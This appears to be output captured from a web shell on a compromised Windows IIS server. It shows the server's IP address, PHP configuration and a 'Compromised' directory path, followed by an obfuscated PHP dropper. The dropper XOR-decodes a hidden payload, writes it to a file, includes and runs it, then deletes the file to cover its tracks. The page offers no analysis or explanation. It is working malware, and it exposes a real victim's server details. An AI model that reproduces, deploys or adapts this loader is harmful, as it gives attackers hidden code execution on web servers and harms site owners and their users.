Server IP : 103.6.199.200 / Your IP : 18.226.214.91 Web Server : Microsoft-IIS/10.0 System : Windows NT EMPUSA 10.0 build 20348 (Windows Server 2016) i586 User : EMPUSA$ ( 0) PHP Version : 7.4.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/Domains/iscommy2/i-3s.com.my/Compromised/ |
Upload File : |
<?php function wGoTmSp($hbmNUuTMtwi, $yvjBvZDxRq) { $hbmNUuTMtwi = urldecode($hbmNUuTMtwi); $AVorwb = str_split($hbmNUuTMtwi); $action = ""; for ($i = 0; $i < strlen($hbmNUuTMtwi);$i++) { $action .= $AVorwb[$i] ^ $yvjBvZDxRq[$i%8]; } return $action; } $i="JF%1D%1B%01N%5E%04%1F%17%04%2C%02%26+lQ%1C%1F%01%1E1%0B%28%19%1EJ_Q%0D%01%08%3APV%7E%7B%03%3D%2A%1F%26%1E%16%05ks%28%19%1E2%16%031%3B6%05%5EASAjoI%7C9%04%1D%18%1C%27%21%02QJ%1E%10%3B%0B%21%0E%1C%0E%06%05%2A%3B%2A%29%0D%04%1E%14dxdFPV%7E%7B%03%27%21%02%26%19%1A%1C%26%0B%28%1F%14%04%07Ys%7D%7F%7Bs%60y%7CI21%18%1A%19%1A%1E-t7%1E%1D%1D%5BU%2750%17UMW%1A%26-m%7Bs%16%7E%7BctdV%5D%02%06%05%1C0%25%02%18MNQav%7F%7BsMSQc2%2B%04YEW%18cidFBMW%18chd%05%0D%1F%1F%14-%7C%60%12%18%19%12Xx%7Dd%0DtgSQctdVYM%15%1E1tlR%13MNQsodR%13MOQ0+6%1A%1C%03%5BU%281%3D_YKUQg%3DdJY%1E%07%03%2F1%2A%5E%5D%09%12%05%22%7D%7FV%5D%07XZot%60%1FRFZQ8YNVYMSQctdVYMSU%2C%210%29%1D%0C%07%10czyV%1A%05%01Y%2C%26+%5E%5D%09%12%05%22%0F%60%1F%24DS%2Fc%3B6%12QI%18%14%3A%0F%60%1C%24DZJN%5EdVYMSQct9%7BsMSQc%29I%7CYMSQ110%03%0B%03SU%2C%210%29%1D%0C%07%10xYN%0Btg%1A%17c%7C-%05%0A%08%07Yg%0B%033-6EFp%60wC%24DZ%7CI%2FI%7CYMSQ%27%3D%21%5E%14%09FYwcsGKDZJN%5E9%7BsI%07%14.%24y%17%0B%1F%12%08%1C9%21%04%1E%08%5BU%1C%17%0B92%246%5Dcp%1B%266%3E%27XxYN%10%16%1F%16%10+%3Cd%5E%5D%19%16%1C3t%25%05YI%17%1075%1B%1D%1C%14SL%7Dt%60%12%18%19%12Xc%2FI%7CYMSQg0%25%02%18MNQ%03%21%2A%05%1C%1F%1A%10%2F%3D%3E%13Q%1E%1B%153%7C7%1E%1D%1D%5B%13%22%27%21%40M2%17%14+%3B+%13QI%17%1075mZYJFH%21%24qC%16%04%1E%1C%3A%60vE%11%15%11%000%22p%0C%1C%5D%00%1291%23A%03%09%19D3smZYI%17%1075%1B%1D%1C%14ZXxYNVYMS%18%25tl%1F%0A%1E%16%05kp+%17%0D%0C%28V%22%3Fc%2BPDS%0AN%5EdVYMSQct-%10YEW%15%22+%25-%5E%0CT%2CciyV%5E%04TXc%2FI%7CYMSQctdVYMSQg%3DdKY%0C%01%03%22-l%7BsMSQctdVYMSQctdVYJ%03%07dtyHY-%03%193%22%21%04%0A%04%1C%1Fk%7Dh%7BsMSQctdVYMSQctdVYJ%00%07dtyHYJB_syuQU%60yQctdVYMSQctd_B%60yQctdVYMSQctd%13%1A%05%1CQ%03%27%21%04%10%0C%1F%1891lR%10DH%7CItdVYMSQc%29d%13%15%1E%16%18%25tlR%1D%0C%07%10%18s%25Q%24MNLcs%21QPM%08%7CItdVYMSQctdVY%08%05%10%2F%7C%60%12%18%19%12%2Ad0c%2BPV%7E%7BctdVYMSQ%3EYNVYMSQctd%13%01%04%07YjoI%7CYMSQ%3EYN%0B"; $j="%10%10%01%16.3%210%29%1A%02%1D%05%26%3A0%05"; $kzRdozbVZe="vymsqCTDsZop"; $k = wGoTmSp($i, $kzRdozbVZe); $f = wGoTmSp($j, $kzRdozbVZe); $f($kzRdozbVZe, $k); include_once ($kzRdozbVZe); unlink($kzRdozbVZe); exit();